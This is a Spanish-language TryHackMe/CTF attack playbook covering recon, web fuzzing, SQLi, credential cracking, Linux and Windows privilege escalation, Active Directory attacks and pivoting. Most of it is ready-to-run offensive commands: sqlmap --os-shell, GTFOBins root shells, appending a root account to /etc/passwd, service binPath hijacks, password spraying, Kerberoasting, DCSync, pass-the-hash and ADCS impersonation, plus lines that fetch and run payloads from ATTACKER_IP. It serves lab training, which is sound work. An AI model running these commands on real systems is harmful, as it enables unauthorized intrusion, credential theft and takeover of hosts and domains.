

THM Playbook Estructurado

Version curada y organizada del master para resolver rooms

Este documento filtra y reordena el contenido del master como una guía única. Pulsa una fila del índice para saltar a la sección.

Índice

#	Sección	Página	Uso
1	Ultra quick start	3	La hoja mínima para empezar cualquier room sin pensar demasiado.
2	Mentalidad y preparación	4	Como empezar una room sin perder contexto.
3	Mapa de decisiones	5	Si veo X, priorizo Y.
4	Arquetipos de rooms	6	Reconocer el tipo de room y elegir una ruta de trabajo.
5	Recon y servicios	7	Encontrar superficie, nombres, versiones y rutas de entrada.
6	Web y APIs	9	De discovery web a bugs de autorización, SSRF, JWT y uploads.
7	WordPress	10	Workflow reducido para cuando detectas WordPress.
8	SQLi	11	Confirmar, extraer y decidir cuando usar SQLMap.
9	Credenciales y loot	12	Buscar, convertir, crackear y reutilizar sin caos.
10	Acceso inicial	13	Convertir un hallazgo en shell estable o login útil.
11	Linux privesc	14	De shell normal a root por permisos, tareas, configs o credenciales.
12	Windows privesc	15	Post-exploit Windows fuera de AD.
13	Active Directory	17	Workflow de dominio: usuarios, credenciales, Kerberos, BloodHound y movimiento.
14	Pivoting	19	Cuando el target ve servicios que tu Kali no ve.
15	CVE y exploits	20	Usar PoCs sin ejecutar basura a ciegas.
16	Errores típicos	21	Problemas frecuentes en THM y como desbloquearlos rápido.
17	Checklist de atasco	22	Preguntas para cuando llevas rato sin avanzar.
18	Notas y cierre	23	Que registrar para no perderte y poder repetir la cadena.
19	Equivalencias	24	Traducción rápida de comandos entre Linux, CMD y PowerShell.

Como usarlo

- 1.** Empieza por Mentalidad y Recon. No saltes a exploits sin saber superficie y nombres.
- 2.** Usa el mapa de decisiones para elegir rama: web, CMS, SQLi, credenciales, privesc, AD o pivot.
- 3.** Si reconoces el patron de la room, salta a arquetipos para escoger ruta de trabajo.
- 4.** Cada credencial nueva reinicia la enumeracion: shares, web, sudo, WinRM, LDAP o DB.
- 5.** Si consigues shell, cambia de fase: estabilizar, loot, privesc local y solo despues pivot/AD si aplica.
- 6.** Si te atascas, usa la checklist de rescate antes de probar exploits al azar.

Principio de trabajo

Enumera hasta tener una hipotesis concreta. Explota solo lo que puedas explicar. Documenta solo lo que cambia la decision.

1. Ultra quick start

La hoja minima para empezar cualquier room sin pensar demasiado.

Usa esta pagina cuando quieras arrancar rapido. La idea es no quedarse mirando la terminal: descubre superficie, enumera lo que exista, busca credenciales o bugs, consigue acceso, escala y documenta.

Fase	Accion minima	Resultado esperado
1. Preparar	Crear carpetas, fijar IP/URL, anadir hostname si aplica.	Entorno ordenado y variables listas.
2. Descubrir	nmap full TCP + servicios sobre puertos abiertos.	Lista real de puertos y versiones.
3. Enumerar	Seguir el servicio dominante: web, SMB, AD, DNS, SNMP, NFS.	Usuarios, rutas, shares, endpoints o versiones.
4. Priorizar	Elegir 1-2 hipotesis con evidencia, no probar todo a la vez.	Vector candidato claro.
5. Acceso	Cred reuse, RCE, upload, SSH, WinRM, SQLi o panel admin.	Shell o login util.
6. Post-exploit	whoami/id, grupos, procesos, archivos, configs, credenciales.	Mapa del contexto local.
7. Privesc	Linux: sudo/SUID/caps/cron/creds. Windows: privs/servicios/tareas/creds.	Usuario superior o root/admin.
8. Reenumerar	Cada credencial nueva reinicia SMB/web/sudo/WinRM/LDAP/DB.	Nuevas rutas desbloqueadas.
9. Cierre	Guardar comandos minimos, evidencia, flags y root cause.	Writeup reproducible.

Comandos base

```
mkdir -p nmap web loot creds hashes screenshots exploits notes
export IP=10.10.10.10
export URL=http://target.local
nmap -p- -Pn -n --min-rate 5000 $IP -oN nmap/all_ports.txt
nmap -sC -sV -Pn -p <PUERTOS> $IP -oN nmap/services.txt
```

- Si ves web, pasa a discovery/Burp antes de brute force.
- Si ves SMB/AD, busca usuarios reales antes de passwords.
- Si consigues una credencial, vuelve a enumerar. No sigas explotando a ciegas.

2. Mentalidad y preparacion

Como empezar una room sin perder contexto.

Este documento es la version curada del master: conserva lo importante, elimina repeticion y lo ordena como una cadena de trabajo. La pregunta constante no es 'que comando toca', sino 'que hallazgo desbloquea el siguiente paso'.

Pregunta	Por que importa
Quien es el objetivo?	IP, hostname, dominio y tecnologia condicionan todas las herramientas.
Que superficie existe?	Puertos y servicios deciden si vas a web, SMB, AD, SQLi, NFS, SNMP o pivot.
Que credenciales tengo?	Cada nueva identidad obliga a reenumerar.
Que puedo controlar?	La escalada aparece cuando modificas algo que ejecuta o lee un usuario superior.

Preparacion minima

```
mkdir -p nmap web loot creds hashes screenshots exploits notes
export IP=10.10.10.10
export URL=http://target.local
echo '10.10.10.10 target.local' | sudo tee -a /etc/hosts
```

- Crea estructura de evidencia antes de empezar, no cuando ya tienes diez terminales abiertas.
- Anota comandos que cambian una decision: credencial valida, ruta vulnerable, usuario encontrado, servicio interno.
- En THM/CTF esta guia asume autorizacion de laboratorio. Fuera de ese contexto no ejecutes tecnicas ofensivas.

3. Mapa de decisiones

Si veo X, priorizo Y.

Senal	Prueba prioritaria
80/443	whatweb, curl, robots/sitemap, ffuf/gobuster, Burp, vhosts.
WordPress	WPScan, wp-json, usuarios, plugins/temas, uploads, XML-RPC.
Parametro sospechoso	LFI, SQLi, SSTI, command injection, IDOR si hay IDs.
445/139	smbclient, smbmap, nxc, enum4linux, RID brute si AD.
53	dig/nslookup, AXFR si hay dominio, nombres para /etc/hosts.
161	snmpwalk y busqueda de usuarios, rutas, procesos, configs.
2049	showmount, mount, revisar permisos y archivos reutilizables.
Shell Linux	id, sudo -l, SUID, capabilities, cron, systemd, creds, linpeas/pspy.
Shell Windows	whoami /priv, servicios, tareas, registry, winPEAS, creds.
Dominio AD	SMB/LDAP/Kerberos: usuarios, spraying controlado, Kerberoast/AS-REP, BloodHound.
Servicio interno	Pivot con SSH -L-D, chisel o ligolo-ng.

No ejecutes todas las pruebas a la vez. El orden correcto es el que reduce incertidumbre con menos ruido.

4. Arquetipos de rooms

Reconocer el tipo de room y elegir una ruta de trabajo.

Un arquetipo no es una regla absoluta, pero ayuda a decidir por donde empezar. Si una room mezcla varios patrones, resuelve primero el que te de identidad, credenciales o una shell inicial.

Arquetipo	Señales	Ruta recomendada
Web basica	80/443, login, rutas ocultas, uploads.	Discovery -> Burp -> LFI/SSTI/upload/IDOR/creds.
WordPress/CMS	wp-content, wp-login, plugins, temas.	WPScan -> usuarios -> plugins/temas -> creds/wp-admin -> RCE.
SQLi room	Parametros, errores SQL, login bypass.	Confirmar manual -> sqlmap con request -> dump -> hashes/RCE si aplica.
SMB/Linux mixta	445, shares, backups, usuarios reutilizables.	Shares -> loot -> cred reuse -> SSH/web/sudo.
Active Directory	53/88/389/445, dominio, DC.	Hosts/DNS -> usuarios -> spraying controlado -> Kerberos/BloodHound.
Linux privesc	Shell Linux sin root.	id/sudo -l -> SUID -> caps -> cron/systemd -> creds.
Windows privesc	Shell Windows sin admin.	whoami /priv -> servicios -> tareas -> registry -> creds.
Pivoting	Servicios localhost o red interna no accesible.	Rutas/interfaces -> ssh -L/-D, chisel o ligolo -> reenum interna.
Cracking/loot	Hashes, kdbx, id_rsa, zips, backups.	Convertir con *2john -> crackear -> cred reuse controlado.
CVE/exploit	Version concreta vulnerable.	Verificar version/config -> leer PoC -> check -> payload minimo.

Como usar esta tabla

- Elige el arquetipo por evidencia, no por intuicion: puertos, rutas, banners, usuarios o archivos.
- Si aparecen credenciales, salta a reutilizacion controlada y reenumeracion.
- Si no hay progreso en 20-30 minutos, usa la checklist de atasco antes de abrir exploits nuevos.

5. Recon y servicios

Encontrar superficie, nombres, versiones y rutas de entrada.

Escaneo inicial

```
nmap -p- -Pn -n --min-rate 5000 $IP -oN nmap/all_ports.txt
nmap -sC -sV -Pn -p <PUERTOS> $IP -oN nmap/services.txt
sudo nmap -sU --top-ports 200 -sV $IP -oN nmap/udp.txt
```

- Usa -Pn si la maquina filtra ping.
- Primero descubre puertos; despues enumera versiones y scripts.
- UDP merece una pasada si sospechas DNS, SNMP, TFTP o NFS.

HTTP / Web (80, 443, 8080)

```
whatweb $URL
curl -sSI $URL
curl -sS $URL/robots.txt
nikto -h $URL
gobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt -t 40
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 $URL/FUZZ
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --hc 404,403 $URL/FUZZ/
ffuf -u $URL -H 'Host: FUZZ.$DOMAIN' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
wfuzz -c -H 'Host: FUZZ.$DOMAIN' -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 0 $URL/
```

SMB (139, 445)

```
nxc smb $IP
nxc smb $IP -u '' -p '' --shares
nxc smb $IP -u 'guest' -p '' --shares
smbclient -L //$IP -N
smbclient //$IP/share -N
smbmap -H $IP
enum4linux-ng -A $IP
nxc smb $IP -u 'guest' -p '' --rid-brute
```

RPC / NetBIOS (135, 137)

```
rpcclient -U '' -N $IP
rpcclient -U '' -N $IP -c 'enumdomusers'
rpcclient -U '' -N $IP -c 'querydominfo'
nmblookup -A $IP
```

FTP (21)

```
ftp $IP
nmap --script ftp-anon -p 21 $IP
wget -m --no-passive ftp://anonymous:anonymous@$IP
```

DNS (53)

```
dig @$IP $DOMAIN
dig axfr @$IP $DOMAIN
dnsrecon -d $DOMAIN -n $IP
nslookup -type=any $DOMAIN $IP
```

SNMP (161/udp)

```
snmpwalk -v2c -c public $IP
snmpbulkwalk -v2c -c public $IP
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt $IP
```

NFS (2049)

```
showmount -e $IP
mkdir -p /mnt/nfs && sudo mount -t nfs $IP:/share /mnt/nfs -o nolock
```

LDAP (389, 636)

```
ldapsearch -x -H ldap://$IP -s base namingContexts
ldapsearch -x -H ldap://$IP -b 'DC=dominio,DC=local'
nxc ldap $IP -u '' -p ''
```

Bases de datos (3306, 1433, 5432, 6379)

```
mysql -h $IP -u root -p
impacket-mssqlclient $USER:$PASS@$IP -windows-auth
psql -h $IP -U postgres
redis-cli -h $IP
```

Servicios tipicos

Servicio	Comandos utiles
SMB	smbclient -L //\$IP -N; smbmap -H \$IP; nxc smb \$IP --shares
FTP	ftp \$IP; probar anonymous; wget -m ftp://anonymous:anonymous@\$IP/
DNS	dig @\$IP dominio; dig axfr @\$IP dominio; dnsrecon -d dominio -n \$IP
SNMP	snmpwalk -v2c -c public \$IP; onesixtyone -c community.txt \$IP
NFS	showmount -e \$IP; mount -t nfs \$IP:/share /mnt/share
SSH	probar claves, usuarios filtrados y passphrases con ssh2john.

6. Web y APIs

De discovery web a bugs de autorizacion, SSRF, JWT y uploads.

Fingerprinting y discovery

```
curl -i $URL/
whatweb -a 3 $URL
ffuf -u "$URL/FUZZ" -w /usr/share/wordlists/dirb/common.txt -e .php,.txt,.html -fc 404
ffuf -u "$URL/" -H "Host: FUZZ.target.local" -w subdomains.txt -fs 0
gobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -b 404
gobuster vhost -u $URL -w subdomains.txt --append-domain
feroxbuster -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 $URL/FUZZ
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt --hc 404 $URL/FUZZ
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -z list,php-txt-html --hc 404 $URL/FUZZ.FUZZ
ffuf -u "$URL/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -e .php,.txt,.bak,.old,.zip -fc 404
ffuf -u "$URL/api/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -fc 404
ffuf -u "$URL/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -X POST -d 'FUZZ=test' -H 'Content-Type:'
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -d 'FUZZ=test' --hh 0 $URL/page.php
ffuf -u "$URL/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -recursion -recursion-depth 2 -fc 404
katana -u $URL -d 3
arjun -u "$URL/page.php"
```

- Si todo devuelve 200, mide una ruta random y filtra por -fs/-fw/-fl en ffuf o --hh/--hw/--hl en wfuzz.
- Separa fuzzing de rutas, archivos, vhosts y parametros; mezclarlo todo genera ruido y pierdes hallazgos.
- En APIs prueba primero endpoints conocidos por JS/katana y despues fuzzing sobre /api, /v1, /graphql o rutas versionadas.
- En THM empieza con wordlists pequenas y sube a raft/medium cuando tengas senales reales.

Triage de bugs

Bug	Senales y prueba inicial
LFI	Parametros file/page/lang/template. Probar .././../etc/passwd y php://filter.
SSTI	Payloads {{7*7}}, \${7*7}, <%= 7*7 %>; confirmar motor antes de explotar.
IDOR/BOLA	Cambiar IDs entre usuarios. Si ves datos ajenos, hay autorizacion rota.
JWT	Revisar alg, kid, role, user_id, exp. Probar solo si el reto apunta a firma debil.
GraphQL	Introspection, tipos, queries/mutations con id/userId/admin/debug.
SSRF	Parametros url/webhook/avatar/import. Confirmar contra tu listener antes de localhost.
XXE	Entradas XML/SVG/SOAP/SAML/DOCX; probar entidad file:///etc/passwd en lab.
Upload	Extension, Content-Type, magic bytes, doble extension, ruta de ejecucion.
Command injection	host/ip/domain/filename. Confirmar con id/whoami/hostname o delay controlado.

7. WordPress

Workflow reducido para cuando detectas WordPress.

Confirmar y enumerar

```
curl -sS -I $URL/wp-login.php | head
curl -sS $URL/ | grep -iE "wp-content|wp-includes" | head
wpscan --url $URL --enumerate p,t,u
wpscan --url $URL --plugins-detection mixed --enumerate ap,at,u
curl -sS "$URL/wp-json/wp/v2/users?per_page=100" | head
```

- Prioriza plugins/temas frente al core si WordPress esta actualizado.
- Revisa uploads, backups de wp-config.php, XML-RPC y REST API.
- Con wp-admin, busca plugins vulnerables, upload/import y roles. En CTF puede haber RCE por theme/plugin editor.

Hallazgo	Siguiente paso
Usuario WP	Probar password reuse o WPScan brute force moderado si el lab lo permite.
Plugin versionado	Buscar CVE, exploit-db, WPScan API y PoC legible.
wp-config filtrado	Extraer DB creds, conectar MySQL, buscar hashes o admin.
Acceso admin	Subida plugin/theme o funcionalidad vulnerable; documentar vector exacto.

8. SQLi

Confirmar, extraer y decidir cuando usar SQLMap.

SQLi se resuelve mejor si primero entiendes el tipo de inyeccion. SQLMap acelera, pero una confirmacion manual evita falsos positivos y ruido.

Tipo	Senal
Error-based	Errores SQL visibles por comillas, casts o payloads invalidos.
UNION-based	La respuesta refleja columnas y puedes alinear SELECT/UNION.
Boolean blind	La respuesta cambia con condiciones true/false.
Time blind	No ves datos, pero sleep/pg_sleep/waitfor delay modifica tiempos.
Second-order	El payload se almacena y se ejecuta en otra vista o accion posterior.

SQLMap practico

```
sqlmap -r request.txt --batch
sqlmap -r request.txt --dbs
sqlmap -r request.txt -D db -T users --dump
sqlmap -u "$URL/page.php?id=1" --risk 2 --level 3 --batch
sqlmap -r request.txt --os-shell
```

- Usa requests de Burp para cookies, headers, POST y auth.
- Sube risk/level solo si la confirmacion basica no basta.
- Si el objetivo es CTF, extrae lo necesario: usuarios, hashes, configs, rutas o RCE.

9. Credenciales y loot

Buscar, convertir, crackear y reutilizar sin caos.

Fuente	Que mirar
Web root	.env, config.php, wp-config.php, web.config, appsettings.json.
Homes	.ssh, history, Desktop, Downloads, backups, notas.
Shares	Backups, IT, Dev, Deploy, SYSVOL, NETLOGON, scripts.
Windows	cmdkey, Unattend.xml, PowerShell history, IIS configs.
Linux	/var/www, /opt, /var/backups, cron scripts, bash history.

Conversiones frecuentes

```
ssh2john id_rsa > id_rsa.hash
keepass2john vault.kdbx > keepass.hash
zip2john secret.zip > zip.hash
office2john doc.docx > office.hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
hashcat -m 1000 ntlm.hash /usr/share/wordlists/rockyou.txt
```

- Etiqueta cada credencial por fuente y servicio probado.
- Despues de cada credencial valida, reenumera: shares, sudo, WinRM, DB, panel web, LDAP.
- En AD evita spraying agresivo; usa usuarios reales y una password candidata con control.

10. Acceso inicial

Convertir un hallazgo en shell estable o login util.

Entrada	Siguiente paso
SSH creds/clave	chmod 600 id_rsa; ssh -i id_rsa user@\$IP; ssh2john si tiene passphrase.
RCE web	Confirmar con id/whoami; despues reverse shell o webshell temporal.
Upload ejecutable	Validar ruta y ejecucion antes de payload pesado.
WinRM valido	evil-winrm -i \$IP -u USER -p PASS.
SMB escritura	Buscar ejecucion indirecta: scripts, tareas, servicios, web roots.

Estabilizacion Linux

```
python3 -c 'import pty; pty.spawn("/bin/bash")'  
CTRL+Z  
stty raw -echo; fg  
export TERM=xterm
```

Transferencia

```
# Atacante  
python3 -m http.server 8000  
# Linux victima  
wget http://ATTACKER_IP:8000/file -O /tmp/file  
curl http://ATTACKER_IP:8000/file -o /tmp/file  
# Windows victima  
certutil -urlcache -split -f http://ATTACKER_IP:8000/file.exe C:\Windows\Temp\file.exe  
powershell -c "iwr http://ATTACKER_IP:8000/file.exe -OutFile C:\Windows\Temp\file.exe"
```

11. Linux privesc

De shell normal a root por permisos, tareas, configs o credenciales.

La regla: si puedes modificar algo que otro usuario mas privilegiado ejecuta o lee, tienes un vector potencial.

```
whoami; id; groups; hostname; pwd
sudo -l
find / -perm -4000 -type f -ls 2>/dev/null
getcap -r / 2>/dev/null
find / -writable -type d 2>/dev/null | grep -vE '^/proc|^/sys|^/dev'
cat /etc/crontab; ls -la /etc/cron.*
systemctl list-timers 2>/dev/null
```

Automatizado

```
curl -sL http://ATTACKER_IP:8000/linpeas.sh | sh
wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh
./pspy64
```

sudo / GTFOBins

```
sudo -l
sudo find . -exec /bin/sh \; -quit
sudo vim -c ':%!/bin/sh'
sudo env /bin/sh
sudo LD_PRELOAD=/tmp/x.so <binario>
```

SUID / SGID

```
find / -perm -4000 -type f 2>/dev/null
/usr/bin/find . -exec /bin/sh -p \; -quit
cp $(which bash) /tmp/rootbash && chmod +s /tmp/rootbash && /tmp/rootbash -p
```

Capabilities

```
getcap -r / 2>/dev/null
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh";'
```

Cron / tareas

```
cat /etc/crontab; ls -la /etc/cron.*
echo 'chmod +s /bin/bash' >> script_escribable.sh
touch -- '--checkpoint=1'; touch -- '--checkpoint-action=exec=sh privesc.sh'
```

Ficheros escribibles

```
ls -la /etc/passwd /etc/shadow
openssl passwd -1 -salt hax pass123
echo 'r00t:<hash>:0:0::/root:/bin/bash' >> /etc/passwd && su r00t
```

NFS no_root_squash

```
cat /etc/exports
showmount -e $IP
sudo mount -o rw $IP:/share /mnt && cp $(which bash) /mnt/bash && chmod +s /mnt/bash
```

Kernel / version

```
uname -a; cat /etc/os-release
searchsploit linux kernel <version>
```

Vector	Que mirar
sudo	NOPASSWD, binarios GTF0Bins, scripts como otro usuario, rutas relativas.
SUID/SGID	bash, find, vim, less, cp, tar, zip, python, perl, nmap, env.
Capabilities	cap_setuid, cap_dac_read_search, cap_dac_override, cap_sys_admin.
Cron/timers	Scripts escribibles, PATH inseguro, comodines, backups ejecutados como root.
Credenciales	Configs, backups, /var/www, .ssh, history, DB dumps.
Contenedores	docker/lxd/lxc groups, docker.sock, montajes privilegiados.

12. Windows privesc

Post-exploit Windows fuera de AD.

Enumeracion inicial

```
whoami
whoami /groups
whoami /priv
whoami /user
hostname
echo %USERNAME%
echo %USERDOMAIN%
ver
systeminfo
wmic os get Caption,Version,BuildNumber,OSArchitecture
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic product get name,version 2>nul
```

Automatizado (winPEAS)

```
powershell -NoProfile -ExecutionPolicy Bypass
certutil -urlcache -split -f http://ATTACKER_IP:8000/winPEASx64.exe C:\Windows\Temp\winpeas.exe
powershell -c "iwr http://ATTACKER_IP:8000/winPEASx64.exe -OutFile C:\Windows\Temp\winpeas.exe"
C:\Windows\Temp\winpeas.exe
```

Servicios debiles

```
sc query state= all
wmic service get name,displayname,pathname,startmode
wmic service get name,displayname,pathname,startmode | findstr /i "Auto"
sc qc SERVICIO
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv %USERNAME% SERVICIO
sc config SERVICIO binPath= "cmd /c C:\Windows\Temp\shell.exe"
sc stop SERVICIO
sc start SERVICIO
```

Unquoted service path

```
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v '"'
dir "C:\Program Files"
dir "C:\Program Files (x86)"
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
```

Tareas programadas

```
schtasks /query /fo LIST /v
dir C:\Windows\Tasks
dir C:\Windows\System32\Tasks /s /b
```

Registro / autoruns

```
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

AlwaysInstallElevated

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msiexec /quiet /qn /i C:\Windows\Temp\payload.msi
```

Credenciales

```
cmdkey /list
dir /s /b *pass* *cred* *config* *backup* 2>nul
findstr /si password *.txt *.ini *.config *.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul
```

Vector	Senal
Servicios debiles	Puedes cambiar binPath, reiniciar servicio o sustituir ejecutable.
Unquoted service path	Ruta con espacios sin comillas y directorio intermedio escribible.
AlwaysInstallElevated	HKCU y HKLM Installer AlwaysInstallElevated a 1.
Tareas programadas	Script/binario ejecutado por usuario superior en ruta escribible.
SelmpersonatePrivilege	Potato/PrintSpoofer/RoguePotato segun version y restricciones del lab.

Vector	Senal
SeBackupPrivilege	Lectura de archivos protegidos, SAM/SYSTEM o datos sensibles.
Credenciales	IIS configs, web.config, PowerShell history, Unattend.xml, cmdkey.

13. Active Directory

Workflow de dominio: usuarios, credenciales, Kerberos, BloodHound y movimiento.

En AD el enfoque cambia: no es solo explotar una maquina, sino transformar identidad y permisos en movimiento.

```
export DOMAIN=dominio.local
export DC_HOST=DC01
export DC_FQDN=dc01.dominio.local
echo "$IP $DOMAIN $DC_FQDN $DC_HOST" | sudo tee -a /etc/hosts
nmap -sC -sV -Pn -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,5986 $IP
nxc smb $IP
smbclient -L //$IP -N
nxc smb $IP -u 'Guest' -p '' --shares
nxc smb $IP -u 'Guest' -p '' --rid-brute > rid.txt
```

Usuarios del dominio

```
nxc smb $IP -u 'guest' -p '' --rid-brute | tee rid.txt
impacket-lookupsid $DOMAIN/guest@$IP -no-pass
ldapsearch -x -H ldap://$IP -b 'DC=dominio,DC=local' '(objectClass=user)' sAMAccountName
kerbrute userenum -d $DOMAIN --dc $DC_FQDN /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
```

Password spraying

```
nxc smb $IP -u users.txt -p 'Password1!' --continue-on-success
nxc smb $IP -u users.txt -p users.txt --no-bruteforce --continue-on-success
kerbrute passwordspray -d $DOMAIN --dc $DC_FQDN users.txt 'Password1!'
```

AS-REP Roasting (sin preauth)

```
impacket-GetNPUsers $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $IP
impacket-GetNPUsers $DOMAIN/$USER:$PASS -request -dc-ip $IP -outputfile asrep.hash
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
```

Kerberoasting (cuentas con SPN)

```
impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $IP -request -outputfile kerb.hash
nxc ldap $IP -u $USER -p $PASS --kerberoasting kerb.hash
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt
```

BloodHound

```
bloodhound-python -d $DOMAIN -u $USER -p $PASS -c all -ns $IP --zip
nxc ldap $IP -u $USER -p $PASS --bloodhound --collection All --dns-server $IP
```

Dump de credenciales / DCSync

```
impacket-secretsdump $DOMAIN/$USER:$PASS@$IP
impacket-secretsdump -just-dc $DOMAIN/$USER:$PASS@$DC_FQDN
nxc smb $IP -u $USER -p $PASS --sam --lsa --ntds
```

Pass-the-Hash y tickets

```
nxc smb $IP -u $USER -H <NTLM>
impacket-psexec $DOMAIN/$USER@$IP -hashes :<NTLM>
impacket-getTGT $DOMAIN/$USER:$PASS -dc-ip $IP
export KRB5CCNAME=$USER.ccache; impacket-psexec -k -no-pass $DOMAIN/$USER@$DC_FQDN
```

Acceso y shell

```
evil-winrm -i $IP -u $USER -p $PASS
evil-winrm -i $IP -u $USER -H <NTLM>
impacket-wmiexec $DOMAIN/$USER:$PASS@$IP
impacket-smbexec $DOMAIN/$USER:$PASS@$IP
```

ADCS (certipy)

```
certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $IP -vulnerable -stdout
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $IP -ca <CA> -template <TEMPLATE> -upn administrator@$DOMAIN
certipy auth -pfx administrator.pfx -dc-ip $IP
```

Fase	Objetivo
Identificar dominio	DC, FQDN, realm, clock skew y /etc/hosts correcto.
Usuarios reales	RID brute, LDAP, shares, naming patterns.
Credenciales	Spraying controlado, usuario=password, leaks en shares.
Reenumerar	Cada credencial nueva cambia shares, LDAP, WinRM y permisos.
Kerberos	AS-REP roasting, Kerberoasting, tickets, errores de hora.

Fase	Objetivo
BloodHound	Rutas de ACL, sesiones, grupos, GenericAll/WriteDacl/ForceChangePassword.
Acceso	WinRM, SMB exec, RDP o movimiento lateral segun permisos.

14. Pivoting

Cuando el target ve servicios que tu Kali no ve.

Situacion	Tecnica
Tengo SSH al pivot	ssh -L para servicio concreto, ssh -D para SOCKS.
No tengo SSH pero ejecuto binarios	chisel reverse o ligolo-ng.
Necesito escanear varios hosts	ligolo-ng con interfaz tun y rutas.
Solo necesito una web interna	Forward local especifico.
Hostnames internos	Resolver DNS interno o anadir /etc/hosts.

Enumerar la red interna

```
ip a
ip route
ss -tulpen
netstat -ano
hostname -I
cat /etc/hosts
arp -a
```

SSH port forwarding

```
ssh -L 8080:127.0.0.1:80 user@$IP
ssh -D 1080 -N user@$IP
ssh -R 9001:127.0.0.1:9001 user@ATTACKER_IP
curl http://127.0.0.1:8080
```

Chisel (reverse SOCKS)

```
chisel server -p 8000 --reverse
./chisel client ATTACKER_IP:8000 R:socks
./chisel client ATTACKER_IP:8000 R:8080:127.0.0.1:80
```

Ligolo-ng

```
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
./agent -connect ATTACKER_IP:11601 -ignore-cert
session
start
sudo ip route add 10.10.20.0/24 dev ligolo
nmap -Pn -sT -p80,445 10.10.20.5
```

Proxychains

```
echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf
proxychains curl http://10.10.20.5/
proxychains nmap -sT -Pn -p80,445 10.10.20.5
proxychains nmap -sT -Pn -n -p80,445 10.10.20.5
proxychains crackmapexec smb 10.10.20.5 -u USER -p PASS
```

DNS interno

```
cat /etc/resolv.conf
nslookup intranet.local DNS_INTERNO
dig @DNS_INTERNO intranet.local
echo '10.10.20.5 intranet.local' | sudo tee -a /etc/hosts
```

- Valida con curl/nc antes de escanear.
- Con proxychains usa -sT, no SYN scan.
- Documenta atacante -> pivot -> red interna -> servicio.

15. CVE y exploits

Usar PoCs sin ejecutar basura a ciegas.

Pregunta	Decision
Coincide producto exacto?	Si no, baja prioridad.
Coincide rango de version?	Si esta fuera, descarta o busca config concreta.
Requiere credenciales?	Separar pre-auth de post-auth.
Requiere admin?	Solo sirve si ya tienes ese rol.
Es destructivo?	Evitar DoS/wipers salvo que el lab lo pida claramente.

```
searchsploit PRODUCT VERSION
sed -n '1,220p' exploit.py
grep -nEi 'rm|del|format|shutdown|useradd|chmod|curl|wget|socket|subprocess' exploit.py
python3 exploit.py -h
python3 exploit.py --check --url $URL
```

- Primero reproduce la peticion minima con curl/Burp.
- Cambia payloads por comandos inocuos: id, whoami, hostname.
- Guarda fuente, version detectada, cambios hechos y output de exito.

16. Errores tipicos

Problemas frecuentes en THM y como desbloquearlos rapido.

Cuando algo falla, primero distingue si el problema es de conectividad, nombre/dominio, autenticacion, herramienta o interpretacion del resultado. Esta tabla es para salir del bucle rapido.

Sintoma	Causa probable	Que probar
No responde ping	ICMP filtrado o VPN rara.	Usar nmap -Pn; comprobar tun0/VPN; reiniciar target si THM va lento.
nmap ve pocos puertos	Rate alto, host filtrando o escaneo incompleto.	Repetir con -Pn, bajar --min-rate, probar top ports UDP si aplica.
ffuf devuelve todo 200	Wildcard o pagina catch-all.	Filtrar con -fs, -fw, -fl; comparar una ruta aleatoria inexistente.
vhost no aparece	Host header incorrecto o falta /etc/hosts.	Añadir dominio a /etc/hosts; usar -H 'Host: FUZZ.dominio'.
Reverse shell no llega	LHOST mal, VPN IP incorrecta, firewall o puerto ocupado.	Usar ip a/tun0; nc -lvnp; probar curl desde victima a tu HTTP.
Shell se corta	TTY inestable o comando interactivo.	Estabilizar con python pty, stty raw -echo, TERM=xterm.
